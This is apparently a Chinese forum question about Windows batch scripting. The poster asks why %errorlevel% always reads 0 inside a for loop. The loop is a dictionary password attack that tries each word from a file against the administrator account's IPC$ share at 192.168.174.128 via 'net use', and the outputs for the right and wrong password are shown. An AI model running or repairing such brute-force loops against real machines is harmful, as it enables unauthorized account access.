|
|
问题:为什么用for循环进行连接时,不管每一次连接是否成立,每一次返回值都是0
1.用net use \\192.168.174.128\ipc$ qwertyuiop /user:administrator测试返回值(正确密码)
屏幕显示:命令成功完成。
返回值为:0
请按任意键继续. . .
2.用net use \\192.168.174.128\ipc$ 123 /user:administrator测试返回值(错误密码)
屏幕显示:发生系统错误 1326。
登录失败: 未知的用户名或错误密码。
返回值为:2
请按任意键继续. . .
3.用for循环来测试:
for /f %%i in (c:\dict1.txt) do (net use \\192.168.174.128\ipc$ %%i /user:administrator
echo 返回值为:%errorlevel%(文本第一个密码错误,暂停,输出返回码)
屏幕显示:发生系统错误 1326。
登录失败: 未知的用户名或错误密码。
返回值为:0
for /f %%i in (c:\dict2.txt) do (net use \\192.168.174.128\ipc$ %%i /user:administrator
echo 返回值为:%errorlevel%(文本第一个密码正确)
屏幕显示:命令成功完成。
返回值为:0
请按任意键继续. . . |
|